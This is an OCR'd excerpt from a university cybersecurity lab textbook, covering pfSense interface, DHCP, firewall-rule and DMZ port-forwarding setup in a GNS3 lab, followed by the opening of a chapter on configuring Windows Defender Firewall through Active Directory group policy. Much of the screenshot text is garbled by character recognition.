Do you want to revert to HTTP as the webConfigurator protocol? (yfnl) n

Please wait while the changes are saved to LAH...
Reloading filter...

Reloading routing configuration...

DHCPD. . .

he IPv4 LAH address has been set to 99.99.99.1/24
ou can now access the webConfiqurator by opening the following URL in your web

https://99.99.99 1/

ress <EHNTER* to continue.

Figure 10 - em1 interface configured
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TightVNC: QEMU (pfSense-2.7.0) - O =
ou can now access the webConfiqurator by opening the following URL in your web

https://18.8.8.1/

ress {ENTER> to continue.
JEMU Guest - Hetgate Device ID: cSel5faS5aS58c9diBctBA

#% Helcome to pfSense 2.7 .8-RELEASE (amd64) on pfSense ===

HAH C(wan) emH v4/DHCP4: 192 .168.122 . 66/24
LAH (lan) eml vq4: 99.99.99.1/24

OPT1 (optl) emn? vd: 20.B.8H.1/24

OPTZ (opt2) =] vqd: 18.8.8.1/24

B) Logout (55H only) 9) pfTop

1) Assign Interfaces 181 Filter Logs

2) 5et interface(s) IP address 11) Restart webConfigurator

3) Reset vwebConfigurator password 12) PHP shell + pfSense tools

4) Reset to factory defaults 13) Update from console

5) Reboot system 14) Enable Secure Shell (sshd)
6) Halt system 151 Restore recent configuration
7Y Ping host 16) Restart PHP-FPH

8) Shell

nter an option:

Figure 11 - All pfSense interfaces configured
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TightVNC: x11
B pfsense-Login x 4+

& C {y A Notsecure | hitps://99.99.99.1

[Fisense pr—

admin

SIGN I

Figure 14 - pfSense webConfigurator login page
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TightVNC: x11

Bl pfsensehome.arpa-Status: Das: X 4

& C {y A Notsecure | hitps://99.99.99.1

mSEHSQ Sy ~ Firewall ~ Services ~ VPN ~ Status ~ Diagn

COMMUNITY EDMTION

WARNING: The 'admin’ account password is set to the default value. Change the password in the User Manager.

Status / Dashboard + 0

System Information OO Interfaces OO

Name pfSense.home.arpa r'".. ISP 1000baseT <full-duplex=> 0.0.0.0
User admin@99.99.99.9 (Local Database) £53 MANAGEMENT 1000baseT <full-duplex> 99.99.99.1

System QEMU Guest it DMZ 1000baseT <full-duplex>  20.0.0.1
Netgate Device ID: ¢5e15fa5a58¢9d10cf00

isaLAN 1000baseT <full-duplex>  10.0.0.1

BIOS Vendor: SeaBIOS
Version: 1.13.0-Tubuntu1.1
Release Date: Tue Apr 12014

Version 2.7.0-RELEASE (amd&4)
built on Wed Jun 28 03:53:34 UTC 2023
FreeBSD 14.0-CURRENT

Unable to check for updates

CPU Type QEMU Virtual CPU version 2.5+
AES-NI CPU Crypto: No
QAT Crypto: No

Hardware crypto Inactive

Figure 15 - pfSense main dashboard
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TightVNC: x11

B pfsensehome.arpa-Interfaces: |1 X 4

& C { A Notsecure | hitps://99.99.99.1/interfaces_assign.php
mSEHSQ Sy nterf ~ Firewall ~ Services ~ VPN ~ Status ~ Diagn
COMMUNITY EDMTION

WARNING: The 'admin’ account password is set to the default value. Change the password in the User Manager.

R

Interfaces / Interface Assignments

Interface Assignments Interface Groups Wireless VLANs QinQs PPPs GREs GIFs Bridges LAGGs

Interface Network port

WAN em0 (08:00:27:00:00:07)

LAN em1 (08:00:27:00:00:02) T Delete
OPT1 em?2 (08:00:27:00:00:03) 0 Delete

OPT2 em3 (08:00:27:00:00:04) T Delete

Interfaces that are configured as members of a lagg(4) interface will not be shown.

Wireless interfaces must be created on the Wireless tab before they can be assigned.

Figure 16 - pfSense interface assignments
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TightVNC: x11
i pfsensehome.arpa - Interfaces +

& C { A Notsecure | hitps:/99.99.99.1/interfaces.php?if=wan

Rlisense s O R

COMMUNITY EDMTION

WARNING: The 'admin’ account password is set to the default value. Change the password in the User Manager.

Interfaces / WAN (em0) = @

General Configuration

Enable Enable interface

Description WAN

Enter a description (name) for the interface here.

IPv4 Configuration DHCP
Type

IPv6 Configuration
Type

MAC Address

This field can be used to modify ("spoof") the MAC address of this interface.
Enter a MAC address in the following format: xx:ocoex

If this field is blank, the adapter’s default MTU will be used. This is typically 1500 bytes but can vary in some circumstances.

Figure 17 - em0 interface configuration
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TightVNC: x11

pfSense.home.arpa - Interfaces X +

& X { A Notsecure | htps:/99.99.99.1/interfaces.php?if=wan

mSEHSQ Sy ~ Firewall ~ Services ~ VPN ~ Status ~ Diagn

COMMUNITY EDMTION

WARNING: The 'admin’ account password is set to the default value. Change the password in the User Manager.

Interfaces / ISP (em0) =l @

+” Apply Changes

General Configuration

Enable Enable interface
Description ISP
Enter a description {(name) for the interface here.

IPv4 Configuration DHCP
Type

IPv6 Configuration
Type

MAC Address

This field can be used to modify ("spoof") the MAC address of this interface.

Figure 18 - Apply changes after saving
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TightVNC: x11
B pfsensehome.arpa-Interfaces: | X 4

& C {y A Notsecure | hitps://99.99.99.1/interfaces_assign.php

mSEHSQ Sy ~ Firewall ~ Services ~ VPN ~ Status ~ Diagn

-7 COMMUNITY EDITION

WARNING: The 'admin’ account password is set to the default value. Change the password in the User Manager.

Interfaces / Interface Assignments

Interface Assignments Interface Groups Wireless VLANs QinQs PPPs GREs GIFs Bridges LAGGs

Interface Network port
ISP em0 (08:00:27:00:00:01)

Management em1 (08:00:27:00:00:02) T Delete

DMZ em2 (08:00:27:00:00:03) MREES

LAN em3 (08:00:27:00:00:04)

T Delete

Interfaces that are configured as members of a lagg(4) interface will not be shown.

Wireless interfaces must be created on the Wireless tab before they can be assigned.

Figure 19 - Updated interface assignments
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TightVNC: x11

B pfsensehome.arpa-Services:DF X 4

& C {y A Notsecure | hitps://99.99.99.1/services_dhcp.php

mSEHSQ Systen nterfa Firewall ~ Services ~ VPN ~

COMMUMITY EDITION
Auto Config Backup
WARNING: The 'admin’ account password is set to the dy ) ssword in the User Manager.
Captive Portal
DHCP Relay
Services / DHCP Server / MANAGE pHcp server N CoOwBEe

DHCPv6 Relay

MAMAGEMENT DMZ LAN DHCPv6 Server & RA
DNS Forwarder

SnSalupiibe Sasea.

Dynamic DNS

IGMP Proxy
BOOTP (] Ignore BOOTP queries NTP

Enable Enable DHCP server on MAN

PPPOE S
Deny unknown Allow all clients RSN

clients N . SNMP . , A
When set to Allow all clients, an address within this scope/range on this interface. If set to Allow

known clients from any interfac  UPnP & NAT-PMP |AC address listed in a static mapping on any
scope(s)/interface(s) will get an Wak LAN known clients from only this interface, only MAC addresses
isted in static mappings on this il ress within this scoy ge.

Ignore denied [_J lgnore denied clients rather than reject
clients  This option is not compatible with failover and cannot be enabled when a Failover Peer IP address is configured

Ignore client [_J Do not record a unique identifier (UID) in client lease data if present in the client DHCP request
https:1/39.99.99.1/services_dhep.php 'his option may be useful when a client can dual boot using different client identifiers but the same hardware (MAC)

Figure 20 - DHCP server management screen
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TightVNC: x11

B pfsensehome.arpa-Services:DF X 4

& C { A Notsecure | hitps)//99.99.99.1/services_dhep.php?if=lan&act=newpool

BOOTP ] lgnore BOOTP queries

Deny unknown Allow all clients v

clients W . : : - : , .
When set to Allow all clients, any DHCP client will get an IP address within this scopefrange on this interface. If set to Allow

known clients from any interface, any DHCP client with a MAC address listed in a static mapping on any
scope(s)/interface(s) will get an IP addr If set to Allow known clients from only this interface, only MAC addresses
isted in static mappings on this interface will get an IP address within this scope

Ignore denied [_] lgnore denied clients rather than reject

clients This option is not compatible with failover and cannot be enabled when a Failover Peer IP address is configured

Ignore client [CJ Do not record a unique identifier (UID) in client lease data if present in the client DHCP request

identifiers  Thjs option may be useful when a client can dual boot using different client identifiers but the same hardware (MAC)

address. Note that the resulting server behavior violates the official DHCP specification.
Pool Description Management

Subnet 99.99.99.0
Subnet mask 255.255.255.0

Available range 99.99.99.1-99.99.99.254
In-use DHCP Pool Ranges:
99.99.99.5-99.99.99.100
99.99.99.111-99.99.99.254

99.99.99.111 99.99.99.254

From To

Figure 21 - Updated DHCP settings for Management LAN
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TightVNC: x11

B pfsensehome.arpa-Firewal: Ru. x4

& C {y A Notsecure | hbitps://99.99.99.1/firewall_rules.php?if=lan

mSEHSQ Sy ~ Firewall ~ Services ~ VPN ~ Status ~ Diagn

. COMMUNITY EDITION

WARNING: The 'admin’ account password is set to the default value. Change the password in the User Manager.

Firewall / Rules / MANAGEMENT

Floating ISP MANAGEMENT DMZ LAN

Rules (Drag to Change Order)

=] States  Protocol Source Port Destination Port Gateway Queue Schedule Description Actions

2/979  * * *  MANAGEMENT 443 * G Anti-LockoutRule %%
Address 80

MANAGEMENT ~ * u o3 Default allow LAN to
net any rule

MANAGEMENT ~ * g Default allow LAN
net IPv6 to any rule

Figure 22 - Default firewall rules on Management LAN
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TightVNC: x11

i pfSensehome.arpa - Firewall: R +

& C {y A Notsecure | bitps://99.99.99.1/firewall_rules_edit. php?if=opt1&after=-1

mSEHSQ Sy nterfaces ~ Firewall ~ Services VPN ~ Status ~

COMMUNITY EDMTION

WARNING: The 'admin’ account password is set to the default value. Change the password in the User Manager.

Firewall / Rules / Edit = EQ

Edit Firewall Rule

Action v

Choose what to do with packets that match the criteria specified below.
Hint: the difference between block and reject is that with reject, a packet (TCP RST or ICMP port unreachable for UDP) is
returned to the sender, whereas with block the packet is dropped silently. In either case, the original packet is discarded

Disabled [_J Disable this rule

Set this option to disable this rule without removing it from the list.

Interface DMZ v

Choose the interface from which packets must come to match this rule.

Address Family IPv4

Select the Internet Protocol version this rule applies to

Protocol TCP

Choose which IP protocol this rule should match.

Figure 23 - Editing first firewall rule
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TightVNC: x11

Bl pfsensehome.arpa-Firewall: Al x4

& C { A Notsecure | hitps:/99.99.99.1/firewall_aliases_edit.php?id=0

Firewall / Aliases / Edit

Name Internet_Ports

The name of the alias may only consist of the characters "a-z, A-Z, 0-9 and

Description Access to the Internet

A description may be entered here for administrative reference (not parsed).

Type Port(s)

Hint Enter ports as desired, with a single port or port range per entry. Port ranges can be expressed by separating with a colon.

Port 443 https
80 http

53 dnz

X Export to file | 4= Add Port

nFCamnn hlatrmtn Wimar limmnnn

Figure 28 - Internet port alias
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TightVNC: x11

B pfsensehome.arpa-Firewall: Al x4

& C {y A Notsecure | bitps://99.99.99.1/firewall_aliases_edit.php?tab=ip

Firewall / Aliases / Edit

Name DMZ_Internet_Enabled_Hosts

The name of the alias may only consist of the characters "a-z, A-Z, 0-9 and

Description Allows machines in DMZ to access the Internet

A description may be entered here for administrative reference (not parsed).

Type Host(s)

Enter as many hosts as desired. Hosts must be specified by their IP address or fully qualified domain name (FQDN). FQDN
hostnames are periodically re-resolved and updated. If multiple IPs are returned by a DNS query, all are used. An IP range
such as 192.168.1.1-192.168.1.10 or a small subnet such as 192.168.1.16/28 may also be entered and a list of individual IP
addresses will be generated.

PorFQDN | 20.0.0.5-20.0.0.100 DMZ network

== Add Host

pfSense Netgate. View license.

Figure 29 - Internet enabled host alias
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TightVNC: x11
B pfSensehome.arpa - Firewall: Rul X +

& C {y A Notsecure | hitps://99.99.99.1/firewall_rules_edit.php?id=3

Protocol TCP/UDP

Choose which IP protocol this rule should match.

Source

Source 7 Invert match Single host or alias DMZ_Internet_Enabled_Hosts

The Source Port Range for a connection is typically random and almost never equal to the destination port. In most cases
this setting must remain at its default value, any.

Destination
Destination 7 Invert match any v

Destination Port (other) Internet_Ports (other) Internet_Ports

Range  From Custom To Custom

Specify the destination port or port range for this rule. The "To" field may be left empty if only filtering a single port
Extra Options

Log [J Log packets that are handled by this rule
Hint: the firewall has limited local log space. Don't turn on logging for everything. If doing a lot of logging, consider using a
remote syslog server (see the Status: System Logs: Settings page).

Description Allow DMZ Internet access

A description may be entered here for administrative reference. A maximum of 52 characters will be used in the ruleset and

Figure 30 - DMZ rule configuration



PFSENSE INTRANET 597

TightVNC: x11

B pfsensehome.arpa-Firewal: Ru. x4

& C {y A Notsecure | hitps:/99.99.99.1/firewall_rules.php?if=opt1

Rlisense s O R

COMMUNITY EDMTION

WARNING: The 'admin’ account password is set to the default value. Change the password in the User Manager.

Firewall / Rules/ DMZ

The changes have been applied successfully. The firewall rules are now reloading in the background.
Maonitor the filter reload progress.

Floating ISP MANAGEMENT DMZ LAN

Rules (Drag to Change Order)
O States  Protocol Source Port Destination Port Gateway Queue Schedule Description Actions

] X 0/420 |Pv4* DMZ net = LAN net o b none Separating the LAN &, 0‘
B from the DMZ Om

O & 80/57 IPv4 DMZ_Internet_ Internet_  * Allow DMZ Internet 1§, & [C)
KiB TCP/UDP  Enabled_Hosts Ports access Omx

Figure 31 - New DMZ firewall rule
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CHAPTER 32

Network Hardening - pfSense Internet

DANTE ROCCA; MATHEW J. HEATH VAN HORN, PHD; AND JACOB CHRISTENSEN

The previous chapter had you add a pfSense server and configure the Intranet side to allow some normal network
traffic on the network. This chapter specifically addresses the firewall configurations to access the outside
Internet.

LEARNING OBJECTIVES

+ Allow internet hosts to reach the DMZ without reaching the LAN

PREREQUISITES

+ Chapter 31 - pfSense Intranet

DELIVERABLES

+ Screenshot of NAT rules

+ Screenshot of Ubuntu Server webpage accessed from internet host

RESOURCES

+ We consolidated information from a wide variety of resources. However, three sources stand out as
being particularly helpful to this lab and we want to recognize them here:

o Saifudeen Sidheeq - “How to Configure PfSense DMZ Setup? | Step by Step” -
https://getlabsdone.com/how-to-configure-pfsense-dmz-setup/

o Frank at WunderTech - “How to Set Up a DMZ in pfSense” - https://www.wundertech.net/how-
to-set-up-a-dmz-in-pfsense/

o Nikhath K - “pFSense DMZ Setup Guide” - https://bobcares.com/blog/pfsense-dmz-setup/

CONTRIBUTORS AND TESTERS

+ Julian Romano, Cybersecurity Student, ERAU-Prescott
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+ Jungsoo Noh, Cybersecurity Student, ERAU-Prescott

Phase | - Setting up the Lab

We are going to take up where we left off with the following lab configuration. Make sure you completed the
previous lab before starting on this one!

ISP

INTERNET
192.168.122.0/24

EXTERNAL-PC GRAY-JWITCH

©

MANAGEMENT DMZ
99.99.99.0/24 20.0.0.0/24
IT-ADMIN PURPLE-SWITCH RED-SWITCH WEB-SERVER
> >
@83 —3—(g)
LAN
10.0.0.0/24

PC1 PC2 PC3

Figure 1 - Final GNS3 network
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Phase Il - Allow Inbound Access

The whole point of having a web server is to allow visitors from the Internet to access the information you
placed on the web server. Our internal users can reach the web service, which can be useful, but potential
Internet visitors cannot. We are going to make some assumptions and declare our public IP address as
192.168.122.X (replace X with whatever address DHCP assigned you) and our private webserver IP address as
20.0.0.5. We need to forward traffic from the public interface to our internal machine.

1. Open GNS3
1.1. Create a new project: LAB_17

2. Open the pfsense GUI from the Management Desktop

NOTE: As a reminder the default username is admin and the default password is pfsense.

3. Due to the way GNS3 works we will need to allow private networks in the firewall (Figure 2)

3.1. Go to Interfaces->ISP

3.2. Scroll down in this page and uncheck Block private networks and loopback addresses and
uncheck Block bogon networks

NOTE: This isn't something you would do on a real network. A “bogon” is jargon for a bogus
network meaning that it is an IP that has not been delegated by the IANA yet. Both of these
rules are set by default to prevent malicious actors who pretend to be from a non-existent
network from getting traffic through the firewall.

3.3. Save and Apply Changes
4. Now we will utilize port forwarding in order to allow the External PC to access the webserver
4.1. In pfSense, navigate to Firewall->NAT->Port Forward

4.2. Click Add and set the following values (Figure 3)


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/10/pfsense-internet-isp-interface.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/10/pfsense-internet-port-forwarding.png
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Interface ISP

Address Family IPv4

Protocol TCP

Destination ISP address

Destination Port Range From/To Port: HTTP

Redirect Target IP Single host: 20.0.0.5 (replace with webserver IP)
Redirect Target Port HTTP

Description Allow ISP to reach DMZ

4.3. Save and Apply Changes
5. A new firewall rule should be automatically created to pass HTTP traffic to the DMZ (Figure 4)
6. Test to make sure that you can access the webserver

6.1. From the external PC, open Firefox and go to the address http://192.168.122.66:80 (replace
with the IP address of your ISP interface)

6.2. You should see the webserver's webpage


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/10/pfsense-internet-firewall-rules-isp.png
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TightVNC: QEMU (Firefox31.1.1~2-1)

x l/'i'\_
E | Apache? Ubuntu Default Pa... ¥ | oF
=l | € @ 19216812266 v & ||B~ coogle Al s & A =

D

'Y : Apache2 Default Page

Ubuntu mE==mm

This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubunty—
systems. It is based on the equivalent page on Debian, from which the Ubuntu Apache packaging is derived. If you ¢
read this page, it means that the Apache HTTP server installed at this site is working properly. You should replace tk
file (located at /var /www/html/index_html) before continuing to operate your HTTP server.

i

If you are a normal user of this web site and don't know what this page is about, this probably means that the site is
currently unavailable due to maintenance. If the problem persists, please contact the site's administrator.

Configuration Overview

Ubuntu's Apache? default configuration is different from the upstream default configuration, and split into several fileg
optimized for interaction with Ubuntu tools. The configuration system is fully documented in /usr/share/doc/apach
/README.Debian.gz. Refer to this for the full documentation. Documentation for the web server itself can be found
accessing the manual if the apache2-doc package was installed on this server.

fpache? Ubuntu Default Page: It works - Mozilla Firefox

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

/etc/apache2/

|-- apacheZ2.conf

/ '-- ports.conf =
Sl | ]

Figure 5 - Successful connection from external PC to webserver

NOTE: If you are having trouble getting this to work...

1. Double-check your IP address assignments

2. Verify that the Apache2 service is online on the webserver

3. Double-check that the Port Forwarding rules match Step 4 and the figure provided

4. Double-check that pfSense accepts WAN->DMZ HTTP traffic to pass through the firewall

Congratulations! Users from the Internet can reach your webserver!

End of Lab

Deliverables

2 Screenshots are needed to earn credit for this exercise:
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. Screenshot of NAT rules

+  Screenshot of Ubuntu Server webpage accessed from internet host

Homework

Assignment 1 - Merging with another organization
The CIO has come down and said we can no longer use the IP space 10.x.x.x/24 for our internal (BLUE) network,
nor can we continue to use 99.x.x.x/24 for our management LAN. Your job is to change the environment to use
new IP spaces for the BLUE LAN and the MANAGEMENT LAN.
RECOMMENDED GRADING CRITERIA:
«  Screenshot of the GNS3 workspace with all devices placed and labeled (Phase II)
+  Screenshot of the pfSense services dashboard after DHCP has been set up (Phase IlI)

«  Screenshot of the web server successfully pinging a LAN PC and the Management PC (Phase V)
. Screenshot of the 3 rules for the DMZ (Phase VII)

Assignment 2 - Verify the new network space by running network scans
. Import a Kali Linux VM into the GNS3 environment. Use the same network settings as the other
devices used in this chapter.
+  Attach a cable from the Kali machine to a switch and run nmap looking for active IP addresses and
open ports. (type at the command prompt to read instructions about using nmap)
o Screenshot of ISP switch
° Screenshot of Management Switch
o Screenshot of DMZ switch
o Screenshot of LAN Switch

RECOMMENDED GRADING CRITERIA:
. four screenshots

> ISP has no open ports

o Management has open ports
° DMZ has open ports

o LAN has open ports

603
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Figures for the Printed Version

TightVNC: x11

i pfSensehome.arpa - Interfaces @ ApacheZ Ubuntu Default Page: It v X | +

& C { A Notsecure | htps://99.99.99.1/interfaces.php?if=wan

require this (for client identification).

Alias IPv4 address

The value in this field is used as a fixed alias IPv4 address by the DHCP client.

Reject leases from
To have the DHCP client reject offers from specific DHCP servers, enter their IP adc
with a comma). This is usef
upstream sync.

Reserved Networks

Block private O
networks and

Blocks traffic from IP addresses that are reserved for private networks | 918 (10/8,172.16/12,192.168/16) and
loopback addresses

unique local addresses per RFC 4193 (fc00::/7) as well as loopback r s (127/8). This option should generally be
turned on, unless this network interface resides in such a private addres

Block bogon O

networks  pjocks traffic from reserved IP addresses (but not RFC 1918) or not yet assigned by IANA. Bogons are prefixes that should

never appear in the Internet routing table, and so should not appear as the source address in any packets received.

This option should only be used on external interfaces (WANSs), it is not necessary on local interfaces and it can potentially
block required local traffic.

Note: The update frequency can be changed under System = Advanced, Firewall & NAT settings.

pfSense Netgate. View license.

Figure 2 - Allow all IP address spaces



PFSENSE INTERNET 605

TightVNC: x11

i pfsensehome.arpa - Firewall: N +

& C { A Notsecure | bitps:/99.99.99.1/firewall_nat_edit.php?id=0

Interface ISP v

Choose which interface this rule applies to. In most cases "WAN" is specified.

Address Family IPv4
Select the Internet Protocol version this rule applies to
Protocol TCP v

Choose which protocol this rule should match. In most cases "TCP" is specified

Source

Destination () Invert match. ISP address
Type
Destination port HTTP HTTP
range From port Custom To port Custom

' port range for the destination of the packet for this mapping. The 'to’ field may be left empty if only

Redirect target |P Single host 20.0.0.6

Type Address

Enter the internal IP address of the server on which to map the ports. e.g.: 192.168.1.12 for IPv4

In case of IPv6 addresses, in must be from the same "scope’,

.. itis not possible to redirect from link-local addresses scope (fe80:*) to local scope (::1)
Redirect target port HTTP h
Port Custom

Figure 3 - pfSense port forwarding configuration
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TightVNC: x11

B pfsensehome.arpa-Firewal: Ru. x4

& C { A Notsecure | bitps://99.99.99.1/firewall_rules.php
;dSEI'ISe S Status = Diagno
COMMUNITY EDITION

WARNING: The 'admin' account password is set to the default value. Change the password in the User Manager.

Firewall / Rules / ISP

Floating ISP MANAGEMENT DMZ LAN

Rules (Drag to Change Order)

=] States  Protocol Source Port Destination Port Gateway Queue Schedule Description Actions

O « 0/10 IPv4 * * 20006 80 * none NAT Allow ISP to reach 4,00
KiB TCP (HTTP) DMZ -|]-ﬂ

pfSense Netgate. View license.

Figure 4 - New firewall added to ISP interface
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CHAPTER 33

System Hardening - Windows Firewall

RAECHEL FERGUSON

Windows firewall is a powerful tool for creating firewall rules for an individual computer or when utilized with AD
it can be used to develop rules for a server firewall. This activity aims for students to see how AD can utilize group
policies and Windows Defender Firewall to create firewall rules for devices connected to the AD server. In addition,
this lab also teaches students the differences between inbound and outbound rules and how to create group
policies that apply to devices. Finally, this lab will enable learners to see how communications between devices are
altered due to the firewall rules created.

LEARNING OBJECTIVES

+ Successfully deploy a server firewall to control communications between devices
+ Observe how group policies can be applied to devices connected to the server

* Observe how firewall rules alter the communication abilities of devices

PREREQUISITES

+ Chapter 8 - Creating a Windows Server

+ Chapter 7 - Creating a Linux Server

+ Chapter 16 - Introduction to Routers

DELIVERABLES

+ 5Screenshots:
o Labeled GNS3 workspace
> Router configurations
o Screenshots of:
» Blocked pings to the client 212.10.10.6
» Blocked pings to 212.10.10.6 from the client machines
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RESOURCES

+ NOTE: Each source will referenced with its corresponding number in superscript (EX: 1 ) at the
end of a step

« 1. MSFT WebCast. “Basic Configuration Tasks in Windows Server 2019.” YouTube, January 25, 2019.
https://www.youtube.com/
watch?v=1nxYJSV7-u8&list=PLUZTRMXEpBy32NP6z_qvVBOTWUzdTZVHt&index=4.

+ 2. MSFT WebCast. “How to Join Windows Server 2019 to an Existing Active Directory Domain.” YouTube,
February 1, 2019. https://www.youtube.com/watch?v=BEyNwwjoOu4.

* 3. MSFT WebCast. “"How to Join Windows Server 2019 to an Existing Active Directory Domain.” YouTube,
February 1, 2019. https://www.youtube.com/watch?v=BEyNwwjo0u4.

* 4. Tony Teaches Tech. “How to Block Ping Requests (on Windows, Linux, MAC)."” YouTube, January 11,
2022. https://www.youtube.com/watch?v=52T2f8NfNOY.

CONTRIBUTORS AND TESTERS

+ Jungsoo Noh, CIS Student, ERAU-Prescott
+ Dante Rocca, CIS Student, ERAU-Prescott

Phase | - Workspace Configuration

The following steps will walk through the steps of creating the baseline environment needed.

By the end of the lab, your GNS3 environment should look like this.

FirewallServer

Switch2
. //ﬁl m

ISP Client: 212.10.10.0/ 24

"ISP"Client

Management Domain: 200.200.200.0/24

Figure 1 - GNS3 network environment
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1. Open GNS3
1.1. Create a new project: LAB_18

2. Add 3 switches and a router to the workplace and name them “Switch 1" through “Switch 3" and
keep the router as “Router”

3. Add a Windows Client device to the workspace and connect it to switch1
3.1. Add a note above the switch 1 network and write “200.200.200.1/24"

3.2. Switch to VirtualBox and right click on the Windows 10 Client machine and select the option
to clone the VM

3.3. Select Expert Mode and then the Linked Clone option
3.4. Clone the Windows Client machine a total of 3 times (4 VMs total)
3.5. Add those cloned machines in GNS3

3.6. Connect only two of the new cloned machines into the workspace and connect them to
Switch 1

3.7. Take the last cloned machine and connect it to Switch 2

4. Add a Windows Server machine to the Workspace and connect it to Switch 1 and then name it
Firewall Server

4.1. Connect Switch 1, 2, and 3 to the Router, with Switch 1 being on ethernet 0, switch 2 being
on ethernet 1, and switch 3 being on ethernet 2

5. Turn on the Firewall server and one of the client machines connected to switch 1.

NOTE: Turing on 2 additional machines takes up a lot of your host computer's memory and power so
limit the number of total machines on to 3

5.1. Log into both the server and client machine

Phase Il - Server and client configuration

In order for the client and server machines to be able to communicate both the client and server should have
an IP address that “connects” them to each other. Without the proper network set-up the machines will not be
able to communicate with each other and group policies cannot be updated on the client machines.
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1. Once logged into the server and client machines, access the server first

1.1. Once in the server machine click on server manager and click on Local Server

1.2. Left-click on the ethernet option in the middle of the screen, this is under NIC Teaming and
above Operating System Version !

1.3. Once the ethernet option screen has appeared right click on the ethernet option making
sure it is enabled and select Properties !

1.4. In the new window uncheck the IPv6 option, then click on the IPv4 option and click on the
properties button !

1.5. On the IPv4 Properties screen click on Use the following IP address, enter “200.200.200.6" as
the IP address, enter “255.255.255.0" as the subnet mask, and then enter “200.200.200.1" as the

Default gateway !

1.6. In the Preferred DNS server box enter an IP address of “200.200.200.6,” leave the other
DNS box empty !

1.7. Click ok

2. Add client machine to server domain

NOTE: Before this step make sure one of the adapters on both the client and server machines is set
to Generic Driver, allow all, and make sure Cable Connected is checked. (This makes sure the client and
server can see each other). Keep the other 3 adapters to Not Attached at this time for both machines.

2.1. Once logged on to the client machine click on the magnifying glass icon in the lower left-
hand corner. Enter the word cmd and press enter to access the command line

2.2. Once the command line has popped up enter the command:

You should see a window pop up
2.3. Right-click on one of the ethernet options and select Properties 2

2.4. In properties click on the IPv4 option and select the properties button. Once in IPv4 select
the Use the following IP address option 2

2.5. Inthe IP address spot enter 200.200.200.7, click on subnet mask and make sure the
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information is 255.255.255.0 (If not enter that address). Enter a default gateway of
200.200.200.1 2

2.6. Below select theUse the following DNS server address option. Enter a DNS server address of
200.200.200.6 (Server DNS address), leave the other DNS box empty. Select the ok button and

: 2
close all opened windows

2.7. Click on the magnifying glass icon in the lower left-hand corner. Search for Control Panel
and hit enter

2.8. Click System and Security, then click on System 2
2.9. Under About click on Rename this PC (Advanced) 2

2.10. In the Computer Name tab click on the Change option. In the Member of section click on
Domain and type the name of the domain of your server (in local server if you forget). Click ok 2

2.11. Log into your server with the username Administrator and the password to your server
o2
machine

2.12. Once you have successfully joined the domain restart the client machine and log back
into the machine

2.13. Switch to the server machine and open the command line and ping the client machine to
ensure the two devices can speak to each other

3. Adding the other 2 client machine clones connect to switch one to the server domain

3.1. Follow steps 2.1 to 2.13 for each of the two clone machines, only select a different main IP
address for each clone

3.2. One clone will have the IP address of 200.200.200.8 and the other clone machines so as to
not get the cloned clients and the main client machine confused

3.3. Ensure all the devices can see and speak to each other
4. Configure the router

4.1. In GNS3 start and login to the router

4.2. Assign each interface on the router an IP address

4.3. For the first connection enter the following:
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ip address add address=200.200.200.1/24 interface=etherl

4.4. Lastly, enter: (Figure 2)

ip address add address=212.10.10.1/24 interface=ether?

Phase Il - Set-up firewall rules in active directory

Now that the client and server machines have been connected and the router configurations have been set the
firewall can now be configured. We will also attempt to ping a devices on the network to view the current firewall
settings after the firewall configuration.

1. Configure firewall profiles

1.1. In the server machine click on server manager and then local server >

1.2. In the local server click on the Tools in the upper right-hand corner. From tools click on
Active Directory Users and Computers 3

1.3. In the Active Directory Users and Computers window right click on the domain name of
your server, click new and then click Organizational Unit. Add the name of your chosen OU

(TestOU in the example) and then click oK>

1.4. Left click on the domain name of your server. Under the computers tab, drag and drop all
the clients connected to the server domain and drop them into the new OU. If you get a popup
just select yes 3

1.5. Go back into the tools tab and click on Group Policy Management 3
1.6. Expand the Forest and then expand the Domains. Expand your domain 3

1.7. Expand Group Policy Objects and right click on it, select the new option to create a new
object. Name this object Firewall Rules 1 for easy identification and click ok 3

1.8. Select the Firewall Rules 1 object under Group Policy Objects and right click on it and select
the Edit option 3

1.9. Under Computer Configuration, expand Policies and then expand Windows Settings and then
Security Settings and then Windows Defender Firewall with Advanced Security. Click on the Windows
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Defender with Advanced Security - LDAP... option 3

1.10. On the right side of the screen select the green text that states Windows Defender Firewall
Properties 3

1.11. In the Domain Profile tab of the new wizard set the firewall state to ON (recommended)
then set the Inbound Connections to Block (Default). Set the Outbound Connections to Allow
(Default) 3

1.12. Set the same options in the Private and Public tabs 3

1.13. Once all the rules are set select the Apply option and then the OK option in the Window
Defender Firewall with Advanced Security wizard

1.14. Close the Group Policy Editor Window 3

1.15. Click on the OU you created and then right click on it and select Link and Existing GPO.
Select the Firewall Rules GPO that you created and click OK

1.16. Inyour client machines update the group policy by entering the following command: 3

gpupdate /force

2. Connect to ISP client
2.1. In GNS3 turn on the separate client connected to switch 2
2.2. Configure the client to have the IP address of “212.10.10.6” with a subnet mask of
“255.255.255.0" and a default gateway of “212.10.10.1" Leave DNS as the option that the

machine supplied or 8.8.8.8

2.3. Try pinging the ISP client from the firewall server. The pings should go through since there
is no firewall rule blocking the connection (Figure 3)

Phase IV - Configure firewall rules to clock outbound and inbound pings

Now, that we configured the firewall we can now focus more closely on the inbound and outbound rules for
our network. This phase focuses on configuring the firewall rules to block pings from both inbound and outbound
connections. In order for these rules to be applied to the other connected machines the rules will be placed inside
a group policy. This policy will then be updated on the client machines.



https://eaglepubs.erau.edu/app/uploads/sites/10/2023/09/Screenshot-647.png

614 MATHEW J. HEATH VAN HORN, PHD

1. In the Firewall server machine right click on Tools in the local server page and select Group Policy
Manolgement4

1.1. Expand Group Policy Objects and right-click on it, select the new option to create a new
object. Name this object Firewall Rules 2 for easy identification and click ok *

1.2. Select the newly created object and right click on it and select the Edit option 4

1.3. ExpandPolicies and then expand Windows Settings and then Security Settings and then
Windows Defender Firewall with Advanced Security then select Windows Defender Firewall with
Advanced Security option 4

1.4. Once inside the Windows Firewall configuration wizard, select the green text that states
Inbound Rules *

1.5. In the Inbound rules section, click on the text that states New Rule on the right-hand side
of the screen

1.6. Select the Custom option and click next then click next again, then in the Protocol and
Ports screen select ICMPv4 from the protocol type drop down. Then click on the customize
option towards the bottom, click specific ICMP types option and then tick the Echo Requests
option, then click ok and next *

